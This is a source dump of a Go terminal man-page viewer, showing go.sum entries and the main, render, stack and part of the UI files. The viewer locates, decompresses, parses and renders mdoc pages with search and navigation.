v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= 18 | github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= 19 | github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98= 20 | github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 21 | github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4= 22 | github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88= 23 | github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= 24 | github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= 25 | github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= 26 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b h1:1XF24mVaiu7u+CFywTdcDo2ie1pzzhwjt6RHqzpMU34= 27 | github.com/muesli/ansi v0.0.0-20211018074035-2e021307bc4b/go.mod h1:fQuZ0gauxyBcmsdE3ZT4NasjaRdxmbCS0jRHsrWu3Ho= 28 | github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= 29 | github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= 30 | github.com/muesli/reflow v0.3.0 h1:IFsN6K9NfGtjeggFP+68I4chLZV2yIKsXJFNZ+eWh6s= 31 | github.com/muesli/reflow v0.3.0/go.mod h1:pbwTDkVPibjO2kyvBQRBxTWEEGDGq0FlB1BIKtnHY/8= 32 | github.com/muesli/termenv v0.15.2 h1:GohcuySI0QmI3wN8Ok9PtKGkgkFIk7y6Vpb5PvrY+Wo= 33 | github.com/muesli/termenv v0.15.2/go.mod h1:Epx+iuz8sNs7mNKhxzH4fWXGNpZwUaJKRS1noLXviQ8= 34 | github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 35 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= 36 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 37 | github.com/sahilm/fuzzy v0.1.1-0.20230530133925-c48e322e2a8f h1:MvTmaQdww/z0Q4wrYjDSCcZ78NoftLQyHBSLW/Cx79Y= 38 | github.com/sahilm/fuzzy v0.1.1-0.20230530133925-c48e322e2a8f/go.mod h1:VFvziUEIMCrT6A6tw2RFIXPXXmzXbOsSHF0DOI8ZK9Y= 39 | golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= 40 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 41 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 42 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 43 | golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= 44 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 45 | golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= 46 | golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= 47 | golang.org/x/text v0.3.8 h1:nAL+RVCQ9uMn3vJZbV+MRnydTJFPf8qqY42YiA6MrqY= 48 | golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= 49 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "compress/gzip" 6 | "encoding/json" 7 | "fmt" 8 | "io" 9 | "os" 10 | "path/filepath" 11 | "strings" 12 | 13 | tea "github.com/charmbracelet/bubbletea" 14 | ) 15 | 16 | func findDocInManSection(sectionDir, target string) string { 17 | section := strings.TrimPrefix(filepath.Base(sectionDir), "man") 18 | fullTarget := fmt.Sprintf("%s.%s", target, section) 19 | fullTargetGz := fmt.Sprintf("%s.%s.gz", target, section) 20 | 21 | files, err := os.ReadDir(sectionDir) 22 | if err != nil { 23 | panic(err) 24 | } 25 | 26 | for _, file := range files { 27 | if file.Name() == fullTarget || file.Name() == fullTargetGz { 28 | return sectionDir + "/" + file.Name() 29 | } 30 | } 31 | return "" 32 | } 33 | 34 | func findDocInManDir(mandir, target string) string { 35 | dirs, err := os.ReadDir(mandir) 36 | if err != nil { 37 | panic(err) 38 | } 39 | 40 | for _, dir := range dirs { 41 | if strings.HasPrefix(dir.Name(), "man") { 42 | path := findDocInManSection(mandir+"/"+dir.Name(), target) 43 | if path != "" { 44 | return path 45 | } 46 | } 47 | } 48 | return "" 49 | } 50 | 51 | func findDoc(target string) string { 52 | manPath := os.Getenv("MANPATH") 53 | if len(manPath) > 0 { 54 | for _, dir := range strings.Split(manPath, ":") { 55 | if len(dir) == 0 { 56 | continue 57 | } 58 | path := findDocInManDir(dir, target) 59 | if path != "" { 60 | return path 61 | } 62 | } 63 | } 64 | // TODO: locale support 65 | return findDocInManDir("/usr/share/man", target) 66 | } 67 | 68 | func readManPage(path string) (string, error) { 69 | file, err := os.Open(path) 70 | if err != nil { 71 | return "", nil 72 | } 73 | defer file.Close() 74 | 75 | var reader io.Reader = bufio.NewReader(file) 76 | 77 | if strings.HasSuffix(path, ".gz") { 78 | gzipReader, err := gzip.NewReader(reader) 79 | if err != nil { 80 | return "", err 81 | } 82 | reader = gzipReader 83 | } 84 | data, err := io.ReadAll(reader) 85 | if err != nil { 86 | return "", err 87 | } 88 | 89 | return string(data), nil 90 | } 91 | 92 | func dumpAst(page manPage) { 93 | bytes, err := json.Marshal(page) 94 | if err != nil { 95 | panic(err) 96 | } 97 | os.WriteFile("ast.json", bytes, 0666) 98 | } 99 | 100 | func main() { 101 | if len(os.Args) != 2 { 102 | fmt.Fprintf(os.Stderr, "Usage: %s \n", os.Args[0]) 103 | os.Exit(1) 104 | } 105 | 106 | target := os.Args[1] 107 | var manFile string 108 | 109 | if _, err := os.Stat(target); err == nil { 110 | manFile = target 111 | } else { 112 | manFile = findDoc(target) 113 | if manFile == "" { 114 | fmt.Fprintf(os.Stderr, "cannot find man page for \"%s\"\n", target) 115 | os.Exit(1) 116 | } 117 | } 118 | 119 | fmt.Println(manFile) 120 | 121 | data, err := readManPage(manFile) 122 | if err != nil { 123 | panic(err) 124 | } 125 | 126 | parser := parser{} 127 | page := parser.parseMdoc(data) 128 | page.mergeSpans() 129 | dumpAst(page) 130 | 131 | p := tea.NewProgram( 132 | NewModel(page), 133 | tea.WithAltScreen(), // use the full size of the terminal in its "alternate screen buffer" 134 | tea.WithMouseCellMotion(), // turn on mouse support so we can track the mouse wheel 135 | ) 136 | 137 | if _, err := p.Run(); err != nil { 138 | fmt.Println("could not run program:", err) 139 | os.Exit(1) 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /render.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | "strings" 7 | 8 | "github.com/charmbracelet/bubbles/table" 9 | "github.com/charmbracelet/lipgloss" 10 | ) 11 | 12 | type Span interface { 13 | Render(width int) string 14 | } 15 | 16 | var sectionHeader = lipgloss.NewStyle(). 17 | Bold(true). 18 | BorderStyle(lipgloss.RoundedBorder()). 19 | BorderBottom(true) 20 | 21 | func (page manPage) Render(width int) string { 22 | res := "" 23 | for i, section := range page.Sections { 24 | if i != 0 { 25 | res += "\n\n" 26 | } 27 | res += fmt.Sprintf("%s\n", sectionHeader.Render(section.Name)) 28 | 29 | contents := "" 30 | for _, content := range section.Contents { 31 | contents += content.Render(width) 32 | } 33 | res += strings.TrimSpace(contents) 34 | } 35 | res += lipgloss.NewStyle().Border(lipgloss.NormalBorder(), true, false, false, false).Margin(2, 0).Render(page.Date) 36 | return res 37 | } 38 | 39 | var allWhitespace, _ = regexp.Compile(`^\s+$`) 40 | var textStyles = map[textTag]lipgloss.Style{ 41 | tagPlain: lipgloss.NewStyle(), 42 | tagNameRef: lipgloss.NewStyle().Foreground(lipgloss.Color("9")), 43 | tagArg: lipgloss.NewStyle().Foreground(lipgloss.Color("11")), 44 | tagVariable: lipgloss.NewStyle().Foreground(lipgloss.Color("13")), 45 | tagPath: lipgloss.NewStyle().Foreground(lipgloss.Color("14")), 46 | tagSubsectionHeader: lipgloss.NewStyle(). 47 | Bold(true). 48 | Margin(2, 0, 0, 0), 49 | tagSymbolic: lipgloss.NewStyle().Foreground(lipgloss.Color("9")), 50 | tagBold: lipgloss.NewStyle().Bold(true), 51 | tagItalic: lipgloss.NewStyle().Italic(true), 52 | tagUnderline: lipgloss.NewStyle().Underline(true), 53 | tagLiteral: lipgloss.NewStyle(), 54 | } 55 | 56 | func (t textSpan) Render(_ int) string { 57 | text := strings.ReplaceAll(t.Text, "\\&", "") // unescape literals 58 | 59 | var res string 60 | switch t.Typ { 61 | case tagEnvVar: 62 | res = fmt.Sprintf("$%s", text) 63 | case tagSingleQuote: 64 | res = fmt.Sprintf("'%s'", text) 65 | case tagDoubleQuote: 66 | res = fmt.Sprintf("\"%s\"", text) 67 | case tagSubsectionHeader: 68 | res = textStyles[tagSubsectionHeader].Render(text) + "\n" 69 | default: 70 | res = textStyles[t.Typ].Render(text) 71 | } 72 | if !t.NoSpace && !allWhitespace.MatchString(t.Text) { 73 | res += " " 74 | } 75 | return res 76 | } 77 | 78 | var decorationStyles = map[decorationTag][]string{ 79 | decorationOptional: {"[", "]"}, 80 | decorationParens: {"(", ")"}, 81 | decorationSingleQuote: {"'", "'"}, 82 | decorationDoubleQuote: {"\"", "\""}, 83 | decorationQuotedLiteral: {"‘", "’"}, 84 | } 85 | 86 | func (d decoratedSpan) Render(width int) string { 87 | res := "" 88 | for _, span := range d.Contents { 89 | res += span.Render(width) 90 | } 91 | res = strings.TrimSuffix(res, " ") 92 | res = decorationStyles[d.Typ][0] + res + decorationStyles[d.Typ][1] + " " 93 | return res 94 | } 95 | 96 | var flagStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("10")) 97 | 98 | func (f flagSpan) Render(_ int) string { 99 | flag := strings.ReplaceAll(f.Flag, "\\&", "") // unescape literals 100 | 101 | dash := "" 102 | if f.Dash { 103 | dash = "-" 104 | } 105 | res := flagStyle.Render(dash + flag) 106 | if !f.NoSpace { 107 | res += " " 108 | } 109 | return res 110 | } 111 | 112 | func (m manRef) Render(_ int) string { 113 | res := m.Name 114 | if m.Section != nil { 115 | res += fmt.Sprintf("(%d)", *m.Section) 116 | } 117 | return res 118 | } 119 | 120 | var standardStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("12")) 121 | 122 | func (std standardRef) Render(width int) string { 123 | res := "" 124 | switch std.Standard { 125 | case "-ansiC": 126 | res = `ANSI X3.159-1989 (“ANSI C89”)` 127 | case "-ansiC-89": 128 | res = `ANSI X3.159-1989 (“ANSI C89”)` 129 | case "-isoC": 130 | res = `ISO/IEC 9899:1990 (“ISO C90”)` 131 | case "-isoC-90": 132 | res = `ISO/IEC 9899:1990 (“ISO C90”)` 133 | case "-isoC-amd1": 134 | res = `ISO/IEC 9899/AMD1:1995 (“ISO C90, Amendment 1”)` 135 | case "-isoC-tcor1": 136 | res = `ISO/IEC 9899/TCOR1:1994 (“ISO C90, Technical Corrigendum 1”)` 137 | case "-isoC-tcor2": 138 | res = `ISO/IEC 9899/TCOR2:1995 (“ISO C90, Technical Corrigendum 2”)` 139 | case "-isoC-99": 140 | res = `ISO/IEC 9899:1999 (“ISO C99”)` 141 | case "-isoC-2011": 142 | res = `ISO/IEC 9899:2011 (“ISO C11”)` 143 | case "-p1003.1-88": 144 | res = `IEEE Std 1003.1-1988 (“POSIX.1”)` 145 | case "-p1003.1": 146 | res = `IEEE Std 1003.1 (“POSIX.1”)` 147 | case "-p1003.1-90": 148 | res = `IEEE Std 1003.1-1990 (“POSIX.1”)` 149 | case "-iso9945-1-90": 150 | res = `ISO/IEC 9945-1:1990 (“POSIX.1”)` 151 | case "-p1003.1b-93": 152 | res = `IEEE Std 1003.1b-1993 (“POSIX.1b”)` 153 | case "-p1003.1b": 154 | res = `IEEE Std 1003.1b (“POSIX.1b”)` 155 | case "-p1003.1c-95": 156 | res = `IEEE Std 1003.1c-1995 (“POSIX.1c”)` 157 | case "-p1003.1i-95": 158 | res = `IEEE Std 1003.1i-1995 (“POSIX.1i”)` 159 | case "-p1003.1-96": 160 | res = `ISO/IEC 9945-1:1996 (“POSIX.1”)` 161 | case "-iso9945-1-96": 162 | res = `ISO/IEC 9945-1:1996 (“POSIX.1”)` 163 | case "-p1003.2": 164 | res = `IEEE Std 1003.2 (“POSIX.2”)` 165 | case "-p1003.2-92": 166 | res = `IEEE Std 1003.2-1992 (“POSIX.2”)` 167 | case "-iso9945-2-93": 168 | res = `ISO/IEC 9945-2:1993 (“POSIX.2”)` 169 | case "-p1003.2a-92": 170 | res = `IEEE Std 1003.2a-1992 (“POSIX.2”)` 171 | case "-xpg4": 172 | res = `X/Open Portability Guide Issue 4 (“XPG4”)` 173 | case "-susv1": 174 | res = `Version 1 of the Single UNIX Specification (“SUSv1”)` 175 | case "-xpg4.2": 176 | res = `X/Open Portability Guide Issue 4, Version 2 (“XPG4.2”)` 177 | case "-xsh4.2": 178 | res = `X/Open System Interfaces and Headers Issue 4, Version 2 (“XSH4.2”)` 179 | case "-xcurses4.2": 180 | res = `X/Open Curses Issue 4, Version 2 (“XCURSES4.2”)` 181 | case "-p1003.1g-2000": 182 | res = `IEEE Std 1003.1g-2000 (“POSIX.1g”)` 183 | case "-svid4": 184 | res = `System V Interface Definition, Fourth Edition (“SVID4”),` 185 | case "-susv2": 186 | res = `Version 2 of the Single UNIX Specification (“SUSv2”)` 187 | case "-xbd5": 188 | res = `X/Open Base Definitions Issue 5 (“XBD5”)` 189 | case "-xsh5": 190 | res = `X/Open System Interfaces and Headers Issue 5 (“XSH5”)` 191 | case "-xcu5": 192 | res = `X/Open Commands and Utilities Issue 5 (“XCU5”)` 193 | case "-xns5": 194 | res = `X/Open Networking Services Issue 5 (“XNS5”)` 195 | case "-xns5.2": 196 | res = `X/Open Networking Services Issue 5.2 (“XNS5.2”)` 197 | case "-p1003.1-2001": 198 | res = `IEEE Std 1003.1-2001 (“POSIX.1”)` 199 | case "-susv3": 200 | res = `Version 3 of the Single UNIX Specification (“SUSv3”)` 201 | case "-p1003.1-2004": 202 | res = `IEEE Std 1003.1-2004 (“POSIX.1”)` 203 | case "-p1003.1-2008": 204 | res = `IEEE Std 1003.1-2008 (“POSIX.1”)` 205 | case "-susv4": 206 | res = `Version 4 of the Single UNIX Specification (“SUSv4”)` 207 | case "-ieee754": 208 | res = `IEEE Std 754-1985` 209 | case "-iso8601": 210 | res = `ISO 8601` 211 | case "-iso8802-3": 212 | res = `ISO 8802-3: 1989` 213 | case "-ieee1275-94": 214 | res = `IEEE Std 1275-1994 (“Open Firmware”)` 215 | default: 216 | res = std.Standard 217 | } 218 | return standardStyle.Render(res) 219 | } 220 | 221 | func (l list) Render(width int) string { 222 | if l.Typ == columnList { 223 | return l.RenderTable(width) 224 | } 225 | 226 | res := "" 227 | maxTagWidth := 8 228 | switch l.Typ { 229 | case bulletList, dashList: 230 | maxTagWidth = 2 231 | case tagList: 232 | maxTagWidth = l.Width + 1 233 | case ohangList: 234 | maxTagWidth = 0 235 | case enumList: 236 | maxTagWidth = 4 237 | case itemList: 238 | maxTagWidth = 0 239 | default: 240 | panic(fmt.Sprintf("Don't know how to render %d list", l.Typ)) 241 | } 242 | indent := lipgloss.NewStyle().MarginLeft(l.Indent).Render 243 | tagFillWidth := lipgloss.NewStyle().Width(maxTagWidth) 244 | contentFillWidth := lipgloss.NewStyle().Width(width - maxTagWidth) 245 | contentMargin := lipgloss.NewStyle().MarginLeft(maxTagWidth) 246 | 247 | for i, item := range l.Items { 248 | res += "\n" 249 | if !l.Compact { 250 | res += "\n" 251 | } 252 | 253 | tag := "" 254 | 255 | switch l.Typ { 256 | case tagList, ohangList: 257 | for _, span := range item.Tag { 258 | tag += span.Render(width) 259 | } 260 | tag = strings.TrimSpace(tag) 261 | case bulletList: 262 | tag = "• " 263 | case dashList: 264 | tag = "- " 265 | case enumList: 266 | tag = fmt.Sprintf("%2d. ", i+1) 267 | case itemList: 268 | // no tag 269 | default: 270 | panic(fmt.Sprintf("Don't know how to render %d list", l.Typ)) 271 | } 272 | 273 | contents := "" 274 | for _, span := range item.Contents { 275 | contents += span.Render(width - maxTagWidth) 276 | } 277 | contents = contentFillWidth.Render(contents) 278 | 279 | if lipgloss.Width(tag) > maxTagWidth { 280 | res += tag 281 | res += "\n" 282 | res += contentMargin.Render(contents) 283 | } else { 284 | tag = tagFillWidth.Render(tag) 285 | res += lipgloss.JoinHorizontal(lipgloss.Top, tag, contents) 286 | } 287 | } 288 | return indent(res) 289 | } 290 | 291 | func (l list) RenderTable(width int) string { 292 | var columns []table.Column 293 | var rows []table.Row 294 | 295 | for i, col := range l.Columns { 296 | colWidth := len(col) + 3 // +2 for padding, not sure why 3 is needed 297 | if i == len(l.Columns)-1 { 298 | // compute remaining width 299 | colWidth = width 300 | for _, col := range columns { 301 | colWidth -= col.Width 302 | } 303 | colWidth -= 4 // TODO: why does this fix wrapping? 304 | } 305 | 306 | columns = append(columns, table.Column{ 307 | Title: col, 308 | Width: colWidth, 309 | }) 310 | } 311 | 312 | nCols := len(columns) 313 | 314 | for _, item := range l.Items { 315 | row := table.Row{} 316 | cell := "" 317 | for _, span := range item.Tag { 318 | if len(row) >= nCols { // too many cells in this row, parsing error? 319 | break 320 | } 321 | if ts, ok := span.(textSpan); ok && ts.Typ == tagTableCellSeparator { 322 | row = append(row, cell) 323 | cell = "" 324 | continue 325 | } 326 | cell += span.Render(columns[len(row)].Width) 327 | } 328 | if len(cell) > 0 { 329 | row = append(row, cell) 330 | } 331 | rows = append(rows, row) 332 | } 333 | 334 | s := table.DefaultStyles() 335 | s.Selected = lipgloss.NewStyle() 336 | tbl := table.New( 337 | table.WithColumns(columns), 338 | table.WithRows(rows), 339 | table.WithWidth(width), 340 | table.WithHeight(len(rows)), 341 | table.WithStyles(s), 342 | ) 343 | 344 | rendered := tbl.View() 345 | firstLine := strings.Index(rendered, "\n") 346 | withoutHeader := rendered[firstLine+1:] 347 | 348 | return "\n\n" + withoutHeader 349 | } 350 | -------------------------------------------------------------------------------- /stack.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type stack[T any] struct { 4 | items []T 5 | } 6 | 7 | func (s *stack[T]) Push(item T) { 8 | s.items = append(s.items, item) 9 | } 10 | 11 | func (s *stack[T]) Pop() T { 12 | item := s.items[len(s.items)-1] 13 | s.items = s.items[:len(s.items)-1] 14 | return item 15 | } 16 | 17 | func (s *stack[T]) Peek() T { 18 | return s.items[len(s.items)-1] 19 | } 20 | 21 | func (s *stack[T]) Len() int { 22 | return len(s.items) 23 | } 24 | -------------------------------------------------------------------------------- /ui.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "strings" 7 | 8 | "github.com/charmbracelet/bubbles/help" 9 | "github.com/charmbracelet/bubbles/key" 10 | listview "github.com/charmbracelet/bubbles/list" 11 | "github.com/charmbracelet/bubbles/textinput" 12 | "github.com/charmbracelet/bubbles/viewport" 13 | tea "github.com/charmbracelet/bubbletea" 14 | "github.com/charmbracelet/lipgloss" 15 | "github.com/muesli/reflow/wordwrap" 16 | ) 17 | 18 | type panel int 19 | 20 | const ( 21 | nav panel = iota 22 | contents 23 | search 24 | ) 25 | 26 | type searchResult struct { 27 | row, col, len int 28 | } 29 | 30 | type searchState struct { 31 | results []searchResult 32 | current int // index of currently highlighted result 33 | } 34 | 35 | type model struct { 36 | page manPage 37 | lines []string 38 | viewport viewport.Model 39 | navigation listview.Model 40 | searchbox textinput.Model 41 | help help.Model 42 | keys keyMap 43 | searchKeys searchKeyMap 44 | windowWidth int 45 | windowHeight int 46 | focus panel 47 | search searchState 48 | debug string 49 | } 50 | 51 | type keyMap struct { 52 | PageDown key.Binding 53 | PageUp key.Binding 54 | HalfPageUp key.Binding 55 | HalfPageDown key.Binding 56 | Down key.Binding 57 | Up key.Binding 58 | Top key.Binding 59 | Bottom key.Binding 60 | Navigate key.Binding 61 | BeginSearch key.Binding 62 | Next key.Binding 63 | Previous key.Binding 64 | Help key.Binding 65 | Quit key.Binding 66 | } 67 | 68 | type searchKeyMap struct { 69 | SubmitSearch key.Binding 70 | Cancel key.Binding 71 | } 72 | 73 | func defaultKeyMap() keyMap { 74 | return keyMap{ 75 | PageDown: key.NewBinding( 76 | key.WithKeys("pgdown", " ", "f"), 77 | key.WithHelp("f/pgdn", "page down"), 78 | ), 79 | PageUp: key.NewBinding( 80 | key.WithKeys("pgup", "b"), 81 | key.WithHelp("b/pgup", "page up"), 82 | ), 83 | HalfPageUp: key.NewBinding( 84 | key.WithKeys("u", "ctrl+u"), 85 | key.WithHelp("u", "½ page up"), 86 | ), 87 | HalfPageDown: key.NewBinding( 88 | key.WithKeys("d", "ctrl+d"), 89 | key.WithHelp("d", "½ page down"), 90 | ), 91 | Up: key.NewBinding( 92 | key.WithKeys("up", "k"), 93 | key.WithHelp("↑/k", "up"), 94 | ), 95 | Down: key.NewBinding( 96 | key.WithKeys("down", "j"), 97 | key.WithHelp("↓/j", "down"), 98 | ), 99 | Top: key.NewBinding( 100 | key.WithKeys("g"), 101 | key.WithHelp("g", "top"), 102 | ), 103 | Bottom: key.NewBinding( 104 | key.WithKeys("G"), 105 | key.WithHelp("G", "bottom"), 106 | ), 107 | Navigate: key.NewBinding( 108 | key.WithKeys("tab"), 109 | key.WithHelp("tab", "navigate"), 110 | ), 111 | BeginSearch: key.NewBinding( 112 | key.WithKeys("/"), 113 | key.WithHelp("/", "search"), 114 | ), 115 | Next: key.NewBinding( 116 | key.WithKeys("n"), 117 | key.WithHelp("n", "next"), 118 | ), 119 | Previous: key.NewBinding( 120 | key.WithKeys("N"), 121 | key.WithHelp("N", "previous"), 122 | ), 123 | Help: key.NewBinding( 124 | key.WithKeys("?"), 125 | key.WithHelp("?", "toggle help"), 126 | ), 127 | Quit: key.NewBinding( 128 | key.WithKeys("q", "ctrl+c"), 129 | key.WithHelp("q", "quit"), 130 | ), 131 | } 132 | } 133 | 134 | func (k keyMap) ShortHelp() []key.Binding { 135 | return []key.Binding{ 136 | k.Navigate, 137 | k.BeginSearch, 138 | k.Down, 139 | k.Up, 140 | k.Help, 141 | k.Quit, 142 | } 143 | } 144 | 145 | func (k keyMap) FullHelp() [][]key.Binding { 146 | return [][]key.Binding{ 147 | { 148 | k.Navigate, 149 | k.BeginSearch, 150 | }, { 151 | k.PageDown, 152 | k.PageUp, 153 | }, { 154 | k.HalfPageUp, 155 | k.HalfPageDown, 156 | }, { 157 | k.Down, 158 | k.Up, 159 | }, { 160 | k.Top, 161 | k.Bottom, 162 | }, { 163 | k.Next, 164 | k.Previous, 165 | }, { 166 | k.Help, 167 | k.Quit, 168 | }, 169 | } 170 | } 171 | 172 | func defaultSearchKeyMap() searchKeyMap { 173 | return searchKeyMap{ 174 | SubmitSearch: key.NewBinding( 175 | key.WithKeys("enter"), 176 | key.WithHelp("enter", "submit"), 177 | ), 178 | Cancel: key.NewBinding( 179 | key.WithKeys("esc"), 180 | key.WithHelp("esc", "cancel"), 181 | ), 182 | } 183 | } 184 | 185 | func (sk searchKeyMap) ShortHelp() []key.Binding { 186 | return []key.Binding{ 187 | sk.SubmitSearch, 188 | sk.Cancel, 189 | } 190 | } 191 | 192 | func (sk searchKeyMap) FullHelp() [][]key.Binding { 193 | return nil 194 | } 195 | 196 | var ( 197 | scrollPctStyle = lipgloss.NewStyle().Border(lipgloss.RoundedBorder()) 198 | 199 | tocItemStyle = lipgloss.NewStyle() 200 | selectedTocItemStyle = tocItemStyle.Copy().Foreground(lipgloss.Color("#ae00ff")) 201 | 202 | focusColor = lipgloss.Color("#64708d") 203 | 204 | titleStyle = lipgloss.NewStyle().Padding(0, 1).Margin(1, 0) 205 | focusNavTitleStyle = titleStyle.Copy().Background(focusColor).Foreground(lipgloss.Color("#ddd")) 206 | unfocusedNavTitleStyle = titleStyle.Copy().Background(lipgloss.Color("#282a2e")).Foreground(lipgloss.Color("#888")) 207 | ) 208 | 209 | type navItem string 210 | 211 | func (n navItem) FilterValue() string { return string(n) } 212 | 213 | type navItemDelegate struct{} 214 | 215 | func (navItemDelegate) Height() int { return 1 } 216 | func (navItemDelegate) Spacing() int { return 0 } 217 | func (navItemDelegate) Update(_ tea.Msg, _ *listview.Model) tea.Cmd { 218 | return nil 219 | } 220 | func (navItemDelegate) Render(w io.Writer, m listview.Model, index int, listItem listview.Item) { 221 | i, ok := listItem.(navItem) 222 | if !ok { 223 | return 224 | } 225 | 226 | str := fmt.Sprintf("%s", i) 227 | 228 | if index == m.Index() { 229 | fmt.Fprint(w, selectedTocItemStyle.Render(str)) 230 | } else { 231 | fmt.Fprint(w, tocItemStyle.Render(str)) 232 | } 233 | } 234 | 235 | func NewModel(page manPage) *model { 236 | m := &model{ 237 | page: page, 238 | help: help.New(), 239 | keys: defaultKeyMap(), 240 | searchKeys: defaultSearchKeyMap(), 241 | focus: contents, 242 | navigation: buildTableOfContents(page), 243 | viewport: viewport.New(0, 0), 244 | searchbox: buildSearchBox(), 245 | debug: "debug text", 246 | } 247 | 248 | return m 249 | } 250 | 251 | func buildSearchBox() textinput.Model { 252 | t := textinput.New() 253 | t.Prompt = "Search: " 254 | t.Width = 60 255 | t.TextStyle = lipgloss.NewStyle().Background(focusColor).Foreground(lipgloss.Color("#fff")) 256 | t.Cursor.TextStyle = t.TextStyle 257 | return t 258 | } 259 | 260 | func buildTableOfContents(page manPage) listview.Model { 261 | var sections []listview.Item 262 | for _, section := range page.Sections { 263 | sections = append(sections, navItem(section.Name)) 264 | 265 | for _, content := range section.Contents { 266 | if span, ok := content.(textSpan); ok && span.Typ == tagSubsectionHeader { 267 | text := strings.TrimSuffix(span.Text, ":") 268 | sections = append(sections, navItem(" "+text)) 269 | } 270 | } 271 | } 272 | maxWidth := 0 273 | for _, item := range sections { 274 | maxWidth = max(maxWidth, lipgloss.Width(string(item.(navItem)))) 275 | } 276 | navigation := listview.New(sections, navItemDelegate{}, maxWidth, 100) 277 | 278 | navigation.SetShowTitle(false) 279 | navigation.SetShowStatusBar(false) 280 | navigation.SetShowHelp(false) 281 | navigation.SetFilteringEnabled(false) 282 | 283 | return navigation 284 | } 285 | 286 | func (m model) Init() tea.Cmd { 287 | // Just return `nil`, which means "no I/O right now, please." 288 | return nil 289 | } 290 | 291 | func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { 292 | var ( 293 | cmd tea.Cmd 294 | cmds []tea.Cmd 295 | ) 296 | 297 | switch msg := msg.(type) { 298 | case tea.KeyMsg: 299 | if m.focus == search { 300 | switch { 301 | case key.Matches(msg, m.searchKeys.Cancel): 302 | m.focus = contents 303 | m.search.current = 0 304 | m.searchbox.SetValue("") 305 | m.searchbox.Blur() 306 | case key.Matches(msg, m.searchKeys.SubmitSearch): 307 | m.focus = contents 308 | m.searchbox.Blur() 309 | default: 310 | m.searchbox, cmd = m.searchbox.Update(msg) 311 | cmds = append(cmds, cmd) 312 | } 313 | m.updateSearchResults(m.searchbox.Value()) 314 | } else { 315 | switch { 316 | // case key.Matches(msg, m.keys.PageDown): 317 | // m.viewport.ViewDown() 318 | // case key.Matches(msg, m.keys.PageUp): 319 | // m.viewport.ViewUp() 320 | // case key.Matches(msg, m.keys.HalfPageDown): 321 | // m.viewport.HalfViewDown() 322 | // case key.Matches(msg, m.keys.HalfPageUp): 323 | // m.viewport.HalfViewUp() 324 | // case key.Matches(msg, m.keys.Down): 325 | // m.viewport.LineDown(1) 326 | // case key.Matches(msg, m.keys.Up): 327 | // m.viewport.LineUp(1) 328 | case key.Matches(msg, m.keys.Top): 329 | m.viewport.GotoTop() 330 | case key.Matches(msg, m.keys.Bottom): 331 | m.viewport.GotoBottom() 332 | case key.Matches(msg, m.keys.Help): 333 | m.help.ShowAll = !m.help.ShowAll 334 | case key.Matches(msg, m.keys.Navigate): 335 | if m.focus == nav { 336 | m.focus = contents 337 | } else { 338 | m.focus = nav 339 | } 340 | case key.Matches(msg, m.keys.BeginSearch): 341 | m.focus = search 342 | m.search.current = 0 343 | m.searchbox.Focus() 344 | m.searchbox.SetValue("") 345 | m.help.ShowAll = false 346 | case key.Matches(msg, m.keys.Next): 347 | m.search.current = min(m.search.current+1, len(m.search.results)-1) 348 | m.renderContents() 349 | case key.Matches(msg, m.keys.Previous): 350 | m.search.current = max(m.search.current-1, 0) 351 | 